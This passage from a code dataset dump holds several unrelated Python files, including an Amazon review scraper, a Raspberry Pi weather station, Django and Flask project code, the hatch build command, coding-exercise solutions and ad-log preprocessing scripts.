\n name = 'amazon-reviews-spider'\n \n def __init__(self, product_id=None, *args, **kwargs):\n super(Amazon_Reviews_Spider, self).__init__(*args, **kwargs)\n\n if not product_id:\n raise Exception(\"product_id is required\")\n\n self.start_urls = ['https://www.amazon.com/product-reviews/' +\n product_id +\n '/ref=cm_cr_arp_d_viewopt_rvwer?ie=UTF8&showViewpoints=1&pageNumber=1&reviewerType=all_reviews']\n\n\n\n # basic method\n def parse(self, response):\n yield from self.extract_pages(response)\n yield from self.extract_reviews(response)\n \n # method called as a callback function for pagination\n def parse_reviews(self, response):\n yield from self.extract_reviews(response)\n\n def extract_reviews(self, response):\n for review in response.css('div[data-hook=review]'): \n #Search reviews for 2017\n #.xpath('//span[@data-hook=\"review-date\"][contains(text(),\"2017\")]/ancestor::div[@data-hook=\"review\"]'):\n\n #Parsing all reviews\n #.css('div[data-hook=review]' \n\n yield {\n 'id': review.xpath('@id').extract_first(),\n 'stars': self.extract_stars(review),\n 'title': review.css('a.review-title::text').extract_first(),\n 'author_profile_url': review.css('a[class=\"a-profile\"]::attr(href)').extract_first(),\n 'author_name': review.css('span[class=\"a-profile-name\"]::text').extract_first(),\n 'badges': review.css('span.c7y-badge-text::text').extract(),\n 'review_date': review.css('span.review-date::text').extract_first(),\n 'review_text': '\\n'.join(review.css('span.review-text::text').extract()),\n 'comments_count': review.css('span.review-comment-total::text').extract_first(),\n 'review_helpful_votes': self.extract_review_votes(review)\n }\n\n\n # extracts the number of people who voted for this review\n def extract_review_votes(self, review): \n votes = review.css('span.review-votes::text').extract_first()\n \n if not votes:\n return 0\n votes = votes.strip().split(' ')\n \n if not votes:\n return 0\n \n return votes[0].replace(',', '')\n\n #extracts the estimate given by the author\n def extract_stars(self, review):\n stars = None\n star_classes = review.css('i.a-icon-star::attr(class)').extract_first().split(' ')\n for i in star_classes:\n if i.startswith('a-star-'):\n stars = int(i[7:])\n break\n return stars\n\n \n #is responsible for moving to the following pages\n def extract_pages(self, response):\n page_links = response.css('span[data-action=\"reviews:page-action\"] li')\n base_parts = urllib.parse.urlsplit(self.start_urls[0])\n \n if len(page_links) > 2:\n last_page_url = page_links[-2].css('a::attr(href)').extract_first()\n url_parts = urllib.parse.urlsplit(last_page_url)\n qs = urllib.parse.parse_qs(url_parts.query)\n last_page_number = int(qs.get('pageNumber', [1])[0])\n self.logger.info('last page number ' + repr(last_page_number))\n\n if last_page_number > 1:\n url_parts = list(url_parts)\n url_parts[0] = base_parts.scheme\n url_parts[1] = base_parts.netloc\n url_parts[3] = qs\n\n for i in range(2, last_page_number + 1):\n qs[\"pageNumber\"] = i\n url_parts[3] = urllib.parse.urlencode(qs, doseq=True)\n self.logger.info('url ' + repr(url_parts))\n yield scrapy.Request(urllib.parse.urlunsplit(url_parts), self.parse_reviews)\n\n\n\n\n\n\n\n\n\n\n \n","sub_path":"amazon_reviews_scrapy/spiders/amazon_spider.py","file_name":"amazon_spider.py","file_ext":"py","file_size_in_byte":4036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"114112364","text":"#!/usr/bin/env python3\n\nimport time\nimport datetime\nfrom PIL import Image\nimport RPi.GPIO as GPIO\n\nfrom climate_data import ClimateData\nfrom database import Database\nfrom screen import Screen\nfrom lightsensor import LightSensor\nfrom rotary_encoder import RotaryEncoder\nimport pages as PAGES\n\nclass WeatherStation:\n \"\"\" Facade class for all functionality of the weather station \"\"\"\n\n def __init__(self, DHT22_pin, lightsensor_pin, re_data, re_clock, re_switch, API_key, db_file, base_path):\n \"\"\" Setup of all the components \"\"\"\n\n self.screen = Screen()\n # Show info on screen to inform Pi is booting\n self.screen.display_text(\"BOOTING\")\n\n self.db = Database(db_file, base_path)\n # self.excel = Excel(excel_file_name)\n\n self.climate = ClimateData(DHT22_pin, API_key)\n\n self.lightsensor = LightSensor(lightsensor_pin)\n # Setup interrupt for when light changes\n GPIO.add_event_detect(lightsensor_pin, GPIO.RISING, callback=self.light_changed, bouncetime=200)\n\n self.rotary = RotaryEncoder(re_data, re_clock, re_switch)\n # setup interrupts for rotary encoder is turned\n GPIO.add_event_detect(re_data, GPIO.RISING, callback=self.rotary_encoder_changed)\n GPIO.add_event_detect(re_clock, GPIO.RISING, callback=self.rotary_encoder_changed)\n GPIO.add_event_detect(re_switch, GPIO.FALLING, callback=self.rotary_encoder_clicked, bouncetime=200)\n\n # setup different pages\n self.pages = []\n self.pages.append(PAGES.CurrentWeatherPage(self, base_path))\n self.pages.append(PAGES.MinMaxTemperaturePage(self))\n self.pages.append(PAGES.SettingsPage(self, base_path))\n\n # index of the current page\n self.current_page = 0\n\n\n def update(self):\n \"\"\" Update all weather station data \"\"\"\n\n # update outside weather\n self.weather_hour, self.outside_temp, self.icon = self.climate.get_outside_weather()\n\n # update inside data\n self.inside_humid, self.inside_temp = self.climate.get_inside_data()\n\n # update today's forecast data\n self.coldest, self.hottest = self.climate.get_min_max()\n\n # update day & time of WeatherStation data with current day & time\n now = datetime.datetime.now()\n self.day = now.date()\n self.hour = now.time()\n\n print(\"Weather station updated at: {} {}\".format(self.hour, self.day))\n\n\n def light_changed(self, pin):\n \"\"\" interrupt handler for when a light change has been detected\"\"\"\n\n time.sleep(0.1)\n\n # if it's light in the room, wake up screen\n if self.lightsensor.is_light():\n if self.screen.is_sleeping():\n self.screen.wake_up()\n print(\"Woke up screen\")\n # update screen with latest info\n self.update_screen()\n\n # If the screen is not sleeping, put it in sleep mode\n else:\n if not self.screen.is_sleeping():\n self.screen.go_to_sleep()\n print(\"Put screen to sleep\")\n\n def update_screen(self):\n \"\"\" update information on the screen with current weather station data.\n WeatherStation should be updated first with update() \"\"\"\n\n self.pages[self.current_page].update()\n\n def rotary_encoder_changed(self, channel):\n result = self.rotary.read(channel)\n\n # current page object\n page = self.pages[self.current_page]\n\n # show next page\n if result == 1:\n # if the current page is not browsing its sub pages, go to next main page\n if page.current_page == None:\n # if the index is at the last page, loop back to first page\n if self.current_page == len(self.pages) - 1:\n self.current_page = 0\n else:\n self.current_page += 1\n print(\"Main page up\")\n\n # if the current page is browsing its sub pages, go to next subpage\n else:\n # if the index is at the last page, loop back to first page\n if page.current_page == len(page.pages) - 1:\n page.current_page = 0\n else:\n page.current_page += 1\n print(\"Sub page up\")\n\n # show previous page\n elif result == -1:\n # if the current page is not browsing its sub pages, go to previous main page\n if page.current_page == None:\n # if the index is at the first page, loop back to last page\n if self.current_page == 0:\n self.current_page = len(self.pages) - 1\n else:\n self.current_page -= 1\n print(\"Main page down\")\n\n # if the current page is browsing its sub pages, go to previous subpage\n else:\n # if the index is at the last page, loop back to last page\n if page.current_page == 0:\n page.current_page = len(page.pages) - 1\n else:\n page.current_page -= 1\n print(\"Sub page down\")\n\n self.update_screen()\n\n def rotary_encoder_clicked(self, channel):\n \"\"\" directs the click to a handler method of the current page and updates screen \"\"\"\n self.pages[self.current_page].click()\n self.pages[self.current_page].update()\n\n def log_to_db(self):\n \"\"\" Log the current weather station data to the database\n WeatherStation should be updated first with update() \"\"\"\n\n # log data to Excel\n # self.excel.write_to_excel(self.day, self.hour, self.weather_hour, self.outside_temp, self.inside_temp, self.inside_humid)\n\n # log data to SQLite database\n reading = (self.day, str(self.hour), str(self.weather_hour), self.outside_temp, self.inside_temp, self.inside_humid)\n self.db.add_reading(reading)\n\n def is_light(self):\n return self.lightsensor.is_light()\n","sub_path":"weather_station.py","file_name":"weather_station.py","file_ext":"py","file_size_in_byte":6009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"443908000","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('productos', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Detalle',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('descuento', models.IntegerField(default=0, blank=True)),\n ('cantidad', models.PositiveIntegerField()),\n ('precio', models.PositiveIntegerField()),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Factura',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('no_factura', models.IntegerField()),\n ('fecha', models.DateTimeField(auto_now_add=True)),\n ('estatus', models.CharField(default=b'A', max_length=1, choices=[(b'A', b'Activa'), (b'I', b'Inactiva')])),\n ('impresa', models.CharField(default=b'N', max_length=1, choices=[(b'S', b'SI'), (b'N', b'NO')])),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='detalle',\n name='factura',\n field=models.ForeignKey(to='facturas.Factura'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='detalle',\n name='producto',\n field=models.ForeignKey(to='productos.Producto'),\n preserve_default=True,\n ),\n ]\n","sub_path":"facturas/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"224942486","text":"import os\nimport subprocess\nimport sys\nimport logging\nfrom ConfigParser import ConfigParser\n\n\nclass BuildFlaskApp(object):\n \"\"\"Build the Flask application structure\"\"\"\n def __init__(self):\n if not os.path.isfile('config.ini'):\n log.info(\"[!] Config file not found.\")\n sys.exit()\n process = subprocess.Popen('virtualenv', shell=True,\n stdout=subprocess.PIPE)\n process.wait()\n if process.returncode == 127:\n log.info(\"[!] Python virtualenv failed to run. Is it installed?\")\n sys.exit()\n if not os.path.isfile('requirements.txt'):\n log.info(\"[!] Requirements file not found.\")\n sys.exit()\n config = ConfigParser()\n config.read('config.ini')\n self.config = dict(config._sections.get('app'))\n self.config['views'] = self.config['views'].split(',')\n self.app_path = os.path.join(self.config['path'])\n self.build_top_level_structure()\n self.build_app_init()\n self.build_template_structure()\n self.build_view_structure()\n self.create_virtual_environment()\n\n def make_exists(self, _path):\n if not os.path.exists(_path):\n os.makedirs(_path)\n\n def create_virtual_environment(self):\n command = 'virtualenv {0}/venv;. {0}/venv/bin/activate; \\\n pip install -r requirements.txt'.format(self.app_path)\n process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)\n proc_stdout = process.communicate()[0].strip()\n log.debug(proc_stdout)\n log.info(\"[!] Your virtual enviornment has been successfully installed\")\n\n def build_top_level_structure(self):\n _path = self.app_path\n self.make_exists(_path)\n import_app = 'from app import app\\n'\n import_views = 'from app.views import {0}'.format(\n ', '.join([i for i in self.config['views']]))\n app_main = \"\\n\\nif __name__ == '__main__':\\n\"\n app_blueprint_reg = ''\n for i in self.config['views']:\n app_blueprint_reg += ' app.register_blueprint({0}.mod)\\n'.format(i)\n app_run = ' app.run(host=\"0.0.0.0\", port=5000, debug=True)\\n'\n with open(os.path.join(_path, 'runserver.py'), 'w') as f:\n f.write(import_app+import_views+app_main+app_blueprint_reg+app_run)\n log.info(\"[!] Top level structure built.\")\n\n def build_app_init(self):\n _path = os.path.join(self.app_path, 'app')\n self.make_exists(_path)\n imports = 'from flask import Flask, render_template\\n\\n'\n _app = 'app = Flask(__name__)\\n\\n'\n not_found = \"\\n@app.errorhandler(404)\\ndef page_not_found(e):\\n return render_template('404.html'), 404\\n\"\n index = \"\\n@app.route('/')\\ndef index():\\n return render_template('index.html')\\n\"\n with open(os.path.join(_path, '__init__.py'), 'w') as f:\n f.write(imports+_app+index+not_found)\n log.info(\"[!] App __init__ built.\")\n\n def build_template_structure(self):\n _path = os.path.join(self.app_path, 'app/templates')\n self.make_exists(_path)\n [open(os.path.join(_path, i), 'a').close() for i in\n ('base.html', '404.html', '_macros.html', 'index.html')]\n for i in self.config['views']:\n __path = os.path.join(_path, i)\n self.make_exists(__path)\n open(os.path.join(__path, 'index.html'), 'a').close()\n log.info(\"[!] Template structure built.\")\n\n def build_view_structure(self):\n _path = os.path.join(self.app_path, 'app/views')\n self.make_exists(_path)\n for i in self.config['views']:\n self.create_view(i, _path)\n open(os.path.join(_path, '__init__.py'), 'a').close()\n log.info(\"[!] Views structure built.\")\n\n def create_view(self, view, _path):\n imports = 'from flask import Blueprint, render_template, request\\n'\n blueprint = \"\\n\\nmod = Blueprint('{0}', __name__)\\n\".format(view)\n index = \"\\n@mod.route('/{0}')\\ndef index():\\n return render_template('{0}/index.html')\".format(view)\n with open(os.path.join(_path, view+'.py'), 'w') as f:\n f.write(imports+blueprint+index)\n\n\nif __name__ == '__main__':\n\n logging.basicConfig(filename='flaskel.log',\n format='%(asctime)s %(message)s',\n datefmt='%m/%d/%Y %H:%M:%S %p',\n level=logging.DEBUG\n )\n console = logging.StreamHandler()\n console.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s')\n logging.getLogger('').addHandler(console)\n log = logging.getLogger()\n\n BuildFlaskApp()\n","sub_path":"flaskel.py","file_name":"flaskel.py","file_ext":"py","file_size_in_byte":4780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"204971118","text":"import os\nimport sys\n\nimport click\n\nfrom hatch.build import build_package\nfrom hatch.clean import clean_package\nfrom hatch.commands.utils import (\n CONTEXT_SETTINGS, echo_failure, echo_info, echo_success, echo_waiting\n)\nfrom hatch.env import get_editable_package_location\nfrom hatch.settings import load_settings\nfrom hatch.utils import basepath, resolve_path\n\n\n@click.command(context_settings=CONTEXT_SETTINGS, short_help='Builds a project')\n@click.argument('package', required=False)\n@click.option('-l', '--local', is_flag=True,\n help=(\n 'Shortcut to select the only available local (editable) '\n 'package. If there are multiple, an error will be raised.'\n ))\n@click.option('-p', '--path', help='A relative or absolute path to a project.')\n@click.option('-py', '--python', 'pyname',\n help='The named Python path to use. This overrides --pypath.')\n@click.option('-pp', '--pypath',\n help='An absolute path to a Python executable.')\n@click.option('-u', '--universal', is_flag=True,\n help='Indicates compatibility with both Python 2 and 3.')\n@click.option('-n', '--name',\n help='Forces a particular platform name, e.g. linux_x86_64.')\n@click.option('-d', '--build-dir',\n help='A relative or absolute path to the desired build directory.')\n@click.option('-c', '--clean', 'clean_first', is_flag=True,\n help='Removes build artifacts before building.')\n@click.option('-v', '--verbose', is_flag=True, help='Increases verbosity.')\ndef build(package, local, path, pyname, pypath, universal, name, build_dir,\n clean_first, verbose):\n \"\"\"Builds a project, producing a source distribution and a wheel.\n\n The path to the project is derived in the following order:\n\n \\b\n 1. The optional argument, which should be the name of a package\n that was installed via `hatch install -l` or `pip install -e`.\n 2. The --local flag.\n 3. The option --path, which can be a relative or absolute path.\n 4. The current directory.\n\n The path must contain a `setup.py` file.\n \"\"\"\n if package:\n echo_waiting('Locating package...')\n path = get_editable_package_location(package)\n if not path:\n echo_failure('`{}` is not an editable package.'.format(package))\n sys.exit(1)\n elif local:\n echo_waiting('Locating package...')\n name, path = get_editable_package_location()\n if not name:\n if path is None:\n echo_failure('There are no local packages available.')\n sys.exit(1)\n else:\n echo_failure(\n 'There are multiple local packages available. Select '\n 'one with the optional argument.'\n )\n sys.exit(1)\n echo_info('Package `{}` has been selected.'.format(name))\n elif path:\n possible_path = resolve_path(path)\n if not possible_path:\n echo_failure('Directory `{}` does not exist.'.format(path))\n sys.exit(1)\n path = possible_path\n else:\n path = os.getcwd()\n\n if build_dir:\n build_dir = os.path.abspath(build_dir)\n else:\n build_dir = os.path.join(path, 'dist')\n\n if pyname:\n try:\n settings = load_settings()\n except FileNotFoundError:\n echo_failure('Unable to locate config file. Try `hatch config --restore`.')\n sys.exit(1)\n\n pypath = settings.get('pypaths', {}).get(pyname, None)\n if not pypath:\n echo_failure('Python path named `{}` does not exist or is invalid.'.format(pyname))\n sys.exit(1)\n\n if clean_first:\n echo_waiting('Removing build artifacts...')\n clean_package(path, editable=package or local, detect_project=True)\n\n # basic handling of https://github.com/pypa/setuptools/issues/1185\n bd = basepath(build_dir) if build_dir == os.path.join(path, 'dist') else build_dir\n\n return_code = build_package(path, bd, universal, name, pypath, verbose)\n\n if os.path.isdir(build_dir):\n echo_success('Files found in `{}`:\\n'.format(build_dir))\n for file in sorted(os.listdir(build_dir)):\n if os.path.isfile(os.path.join(build_dir, file)):\n echo_info(file)\n\n sys.exit(return_code)\n","sub_path":"hatch/commands/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":4367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"371581335","text":"# 让我们一起来玩扫雷游戏! \n# \n# 给定一个代表游戏板的二维字符矩阵。 'M' 代表一个未挖出的地雷,'E' 代表一个未挖出的空方块,'B' 代表没有相邻(上,下,左,右,和所有4个对角线)\n# 地雷的已挖出的空白方块,数字('1' 到 '8')表示有多少地雷与这块已挖出的方块相邻,'X' 则表示一个已挖出的地雷。 \n# \n# 现在给出在所有未挖出的方块中('M'或者'E')的下一个点击位置(行和列索引),根据以下规则,返回相应位置被点击后对应的面板: \n# \n# \n# 如果一个地雷('M')被挖出,游戏就结束了- 把它改为 'X'。 \n# 如果一个没有相邻地雷的空方块('E')被挖出,修改它为('B'),并且所有和其相邻的未挖出方块都应该被递归地揭露。 \n# 如果一个至少与一个地雷相邻的空方块('E')被挖出,修改它为数字('1'到'8'),表示相邻地雷的数量。 \n# 如果在此次点击中,若无更多方块可被揭露,则返回面板。 \n# \n# \n# \n# \n# 示例 1: \n# \n# 输入: \n# \n# [['E', 'E', 'E', 'E', 'E'],\n# ['E', 'E', 'M', 'E', 'E'],\n# ['E', 'E', 'E', 'E', 'E'],\n# ['E', 'E', 'E', 'E', 'E']]\n# \n# Click : [3,0]\n# \n# 输出: \n# \n# [['B', '1', 'E', '1', 'B'],\n# ['B', '1', 'M', '1', 'B'],\n# ['B', '1', '1', '1', 'B'],\n# ['B', 'B', 'B', 'B', 'B']]\n# \n# 解释:\n# \n# \n# \n# 示例 2: \n# \n# 输入: \n# \n# [['B', '1', 'E', '1', 'B'],\n# ['B', '1', 'M', '1', 'B'],\n# ['B', '1', '1', '1', 'B'],\n# ['B', 'B', 'B', 'B', 'B']]\n# \n# Click : [1,2]\n# \n# 输出: \n# \n# [['B', '1', 'E', '1', 'B'],\n# ['B', '1', 'X', '1', 'B'],\n# ['B', '1', '1', '1', 'B'],\n# ['B', 'B', 'B', 'B', 'B']]\n# \n# 解释:\n# \n# \n# \n# \n# \n# 注意: \n# \n# \n# 输入矩阵的宽和高的范围为 [1,50]。 \n# 点击的位置只能是未被挖出的方块 ('M' 或者 'E'),这也意味着面板至少包含一个可点击的方块。 \n# 输入面板不会是游戏结束的状态(即有地雷已被挖出)。 \n# 简单起见,未提及的规则在这个问题中可被忽略。例如,当游戏结束时你不需要挖出所有地雷,考虑所有你可能赢得游戏或标记方块的情况。 \n# \n# Related Topics 深度优先搜索 广度优先搜索 \n# 👍 88 👎 0\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nclass Solution(object):\n def updateBoard(self, board, click):\n \"\"\"\n :type board: List[List[str]]\n :type click: List[int]\n :rtype: List[List[str]]\n \"\"\"\n m = len(board)\n if m == 0:\n return 0\n n = len(board[0])\n i, j = click\n if board[i][j] == 'M':\n board[i][j] = 'X'\n return board\n\n # 计算空白块周围的地雷数量\n def cal(i, j):\n res = 0\n for x in [1, -1, 0]:\n for y in [1, -1, 0]:\n if x == 0 and y == 0: continue\n next_i, next_j = i + x, j + y\n if 0 <= next_i < m and 0 <= next_j < n and board[next_i][next_j] == 'M':\n res += 1\n return res\n\n # # 深度优先遍历\n # def dfs(i, j):\n # num = cal(i, j)\n # if num > 0:\n # board[i][j] = str(num)\n # return\n # board[i][j] = 'B'\n # for x in [1, -1, 0]:\n # for y in [1, -1, 0]:\n # if x == 0 and y == 0: continue\n # next_i, next_j = i + x, j + y\n # if 0 <= next_i < m and 0 <= next_j < n and board[next_i][next_j] == 'E':\n # dfs(next_i, next_j)\n #\n # dfs(i, j)\n # return board\n\n \"\"\"\n 广度优先遍历\n \"\"\"\n\n def bfs(i, j):\n queue = [[i, j]]\n while queue:\n i, j = queue.pop(0)\n num = cal(i, j)\n if num > 0:\n board[i][j] = str(num)\n continue\n board[i][j] = \"B\"\n for x in [1, -1, 0]:\n for y in [1, -1, 0]:\n if x == 0 and y == 0: continue\n next_i, next_j = i + x, j + y\n if 0 <= next_i < m and 0 <= next_j < n and board[next_i][next_j] == 'E':\n queue.append([next_i, next_j])\n board[next_i][next_j] = \"B\"\n\n bfs(i, j)\n return board\n# leetcode submit region end(Prohibit modification and deletion)\n","sub_path":"Week_03/[529]扫雷游戏.py","file_name":"[529]扫雷游戏.py","file_ext":"py","file_size_in_byte":4599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"556404077","text":"def evaluate_poly(poly, x):\n resultat = 0\n res = \"\"\n for i in range(poly.__len__()):\n res += str(poly[i]) + \"x^\" + str(i) + \" + \"\n if i == 1:\n resultat = resultat + (poly[i] * x)\n else:\n resultat += poly[i] * (x ** i)\n res += \" *\" + str(x)\n res.join(\",\")\n # print(res[:-3])\n return resultat\n\n\ndef compute_deriv(poly):\n deriv = []\n if len(poly) < 2:\n return [0, 0]\n for a in range(1, len(poly)):\n deriv.append(float(a * poly[a]))\n return deriv\n\n\ndef computeroot(poly, x_0, epsilon):\n roots = []\n if abs(evaluate_poly(poly, x_0)) < epsilon:\n roots = x_0\n else:\n computeroot(poly, (x_0 - (evaluate_poly(poly, x_0)) / evaluate_poly(compute_deriv(poly), x_0)), epsilon)\n print(\"roots = \" + str(roots))\n\ncomputeroot((0.0, 0.0, 5.0, 9.3, 7.0), 2, 0.0001)\n","sub_path":"src/Main/Main/ps2/ps2_newton.py","file_name":"ps2_newton.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"326902579","text":"import datetime\n\nimport requests\nfrom django.http import JsonResponse\nfrom django.shortcuts import render\n\nfrom django.views import View\n\nall_ = []\n\n\ndef index(request):\n info = {}\n if request.method == \"POST\":\n msg = request.POST.get('word')\n res = requests.post(\"http://api.qingyunke.com/api.php?key=free&appid=0&msg=\" + msg)\n res = res.json()\n # anwer = \"{} ({})\".format(res[\"content\"], datetime.datetime.now())\n anwer = \"{}\".format(res[\"content\"])\n info['梦'] = msg\n info['答案'] = anwer\n all_.append(info)\n return render(request, 'index.html', {'dialog': all_})\n else:\n return render(request, \"index.html\", {\"dialog\": all_})\n","sub_path":"meng/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"542265407","text":"import pickle\n\nuser_dict = {}\nclk_user_dict = {}\nimport config\ndata_path = config.data_folder\n# campaign_list = ['1458']\ncampaign_list = config.campaign_list\n\ndata_type = ['train', 'test']\n\ndef timestamp_format(timestamp):\n # sample timestamp 20130608223010438\n year = int(timestamp[0:4])\n month = int(timestamp[4:6])\n day = int(timestamp[6:8])\n hour = int(timestamp[8:10])\n minute = int(timestamp[10:12])\n second = int(timestamp[12:14])\n return (((month*30 + day)*24 + hour)*60 + minute) * 60 + second\n\n\nfor campaign in campaign_list:\n user_dict = {}\n pickle_path = \"{}{}/user_action.pkl\".format(data_path, campaign)\n count = 0\n clk_count = 0\n for type in data_type:\n print(\"start processing {} {} data\".format(campaign, type))\n data = \"{}{}/{}.log.txt\".format(data_path, campaign, type)\n with open(data, 'r', encoding=\"utf-8\") as f:\n header = f.readline().strip().split(\"\\t\")\n clk_index = header.index('click')\n id_index = header.index('ipinyouid')\n time_index = header.index('timestamp')\n line = f.readline()\n while line:\n count += 1\n parts = line.split(\"\\t\")\n # 处理用户历史行为事件\n id = parts[id_index]\n clk = int(parts[clk_index])\n time = parts[time_index]\n # 处理user_dict\n if id not in user_dict:\n user_dict[id] = {\n \"imp_time\": [],\n \"clk_time\": []\n }\n user_dict[id]['imp_time'].append(time)\n if clk > 0:\n clk_count += 1\n user_dict[id]['clk_time'].append(time)\n line = f.readline()\n\n user_action_dict = {}\n defualt_time_inteval = -100\n for user in user_dict:\n user_dict[user]['clk_time'].sort()\n user_dict[user]['imp_time'].sort()\n user_action_dict[user] = {}\n for i in range(len(user_dict[user]['imp_time'])):\n imp_time = user_dict[user]['imp_time'][i]\n imp_time_format = timestamp_format(imp_time)\n # if imp_time in user_action_dict[user]:\n # print(user)\n # print(user_dict[user])\n user_action_dict[user][imp_time] = {}\n user_action_dict[user][imp_time][\"click\"] = 0\n if i == 0:\n user_action_dict[user][imp_time]['is_imp_before'] = 0\n user_action_dict[user][imp_time]['imp_freq'] = 0\n user_action_dict[user][imp_time]['last_imp_time_interval'] = defualt_time_inteval\n else:\n user_action_dict[user][imp_time]['is_imp_before'] = 1\n user_action_dict[user][imp_time]['imp_freq'] = i\n user_action_dict[user][imp_time]['last_imp_time_interval'] = imp_time_format - timestamp_format(user_dict[user]['imp_time'][i-1])\n if len(user_dict[user]['clk_time']) == 0:\n user_action_dict[user][imp_time]['is_clk_before'] = 0\n user_action_dict[user][imp_time]['clk_freq'] = 0\n user_action_dict[user][imp_time]['last_clk_time_interval'] = defualt_time_inteval\n else:\n for j in range(len(user_dict[user]['clk_time'])):\n clk_time = user_dict[user]['clk_time'][j]\n clk_time_format = timestamp_format(clk_time)\n if imp_time_format > clk_time_format:\n user_action_dict[user][imp_time]['is_clk_before'] = 1\n user_action_dict[user][imp_time]['clk_freq'] = j + 1\n user_action_dict[user][imp_time]['last_clk_time_interval'] = imp_time_format - clk_time_format\n else:\n if imp_time == clk_time:\n user_action_dict[user][imp_time][\"click\"] = 1\n if j == 0:\n user_action_dict[user][imp_time]['is_clk_before'] = 0\n user_action_dict[user][imp_time]['clk_freq'] = 0\n user_action_dict[user][imp_time]['last_clk_time_interval'] = defualt_time_inteval\n else:\n user_action_dict[user][imp_time]['is_clk_before'] = 1\n user_action_dict[user][imp_time]['clk_freq'] = j\n user_action_dict[user][imp_time]['last_clk_time_interval'] = imp_time_format - timestamp_format(user_dict[user]['clk_time'][j-1])\n break\n\n pickle.dump(user_action_dict, open(pickle_path, 'wb'))","sub_path":"src/user_action_process.py","file_name":"user_action_process.py","file_ext":"py","file_size_in_byte":4699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"243627938","text":"# ### ====================================================================================\n# Script que verifica quais assuntos dentre os 5 mais provavies e os 10 mais provaveis estão contidos\n# nos assuntos do processo. Ou seja, qual seria o percentual de acerto multilabel\n# ### ====================================================================================\n\nfrom datetime import timedelta\nimport sys\nimport pandas as pd\nimport time\nimport csv\nimport os\nimport numpy as np\nfrom datetime import timedelta\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nfloat_formatter = lambda x: \"%.2f\" % x\nnp.set_printoptions(formatter={'float_kind':float_formatter})\n#------------------------------------------------------------------------------------------\n#Carrega os assuntos e funcoes auxiliares\n#------------------------------------------------------------------------------------------\narquivo_hierarquia_assuntos = '/media/DATA/classificadorDeAssuntos/Dados/naoPublicavel/hierarquia_de_assuntos.csv'\nassuntos = pd.read_csv(arquivo_hierarquia_assuntos)\n\nassuntos = assuntos.replace(np.nan, 0, regex=True)\nassuntosNivel1 = pd.Series(assuntos['cd_assunto_nivel_1'])\nassuntosNivel2 = pd.Series(assuntos['cd_assunto_nivel_2'])\nassuntosNivel3 = pd.Series(assuntos['cd_assunto_nivel_3'])\nassuntosNivel4 = pd.Series(assuntos['cd_assunto_nivel_4'])\nassuntosNivel5 = pd.Series(assuntos['cd_assunto_nivel_5'])\n\ndef recuperaNivelAssunto(codigo):\n global assuntos,assuntosNivel1,assuntosNivel2,assuntosNivel3,assuntosNivel4,assuntosNivel5\n nivel = -1\n if not assuntosNivel1[assuntosNivel1.isin([int(codigo)])].empty:\n nivel=1\n if not assuntosNivel2[assuntosNivel2.isin([int(codigo)])].empty:\n nivel=2\n if not assuntosNivel3[assuntosNivel3.isin([int(codigo)])].empty:\n nivel=3\n if not assuntosNivel4[assuntosNivel4.isin([int(codigo)])].empty:\n nivel=4\n if not assuntosNivel5[assuntosNivel5.isin([int(codigo)])].empty:\n nivel=5\n if(nivel==-1):\n print('NIVEL NAO ENCONTRADO: ' + str(codigo))\n return nivel\n\n\ndef recuperaAssuntoNivelEspecifico(codigo):\n nivel=3\n global assuntos,assuntosNivel1,assuntosNivel2,assuntosNivel3,assuntosNivel4,assuntosNivel5\n nivelInicial = recuperaNivelAssunto(codigo)\n coluna='cd_assunto_nivel_'+str(nivelInicial)\n index = int(assuntos[assuntos[coluna]==codigo].index[0])\n cd_assunto = assuntos['cd_assunto_nivel_' + str(nivel)][index]\n return int(cd_assunto)\n\n\n#------------------------------------------------------------------------------------------\n#Verifica...\n#------------------------------------------------------------------------------------------\npath_predicao = '/media/DATA/classificadorDeAssuntos/Dados/Resultados/EXP25_MelhoresModelos_TextsoReduzidos_BM25/'\n\n\n# nome_arquivo_predicao_MLP = path_predicao + 'predicao_LSI250_Multi-Layer Perceptron.csv'\nnome_arquivo_predicao_MNB = path_predicao + 'predicao_BM25_Multinomial Naive Bayes.csv'\nnome_arquivo_predicao_RF = path_predicao + 'predicao_BM25_Random Forest.csv'\n# nome_arquivo_predicao_SVM = path_predicao + 'predicao_SVM.csv'\n\n# df_predito_MLP = pd.read_csv(nome_arquivo_predicao_MLP, sep=',')\ndf_predito_MNB = pd.read_csv(nome_arquivo_predicao_MNB, sep=',')\ndf_predito_RF = pd.read_csv(nome_arquivo_predicao_RF, sep=',')\n# df_predito_SVM = pd.read_csv(nome_arquivo_predicao_SVM, sep=',')\n\npath = 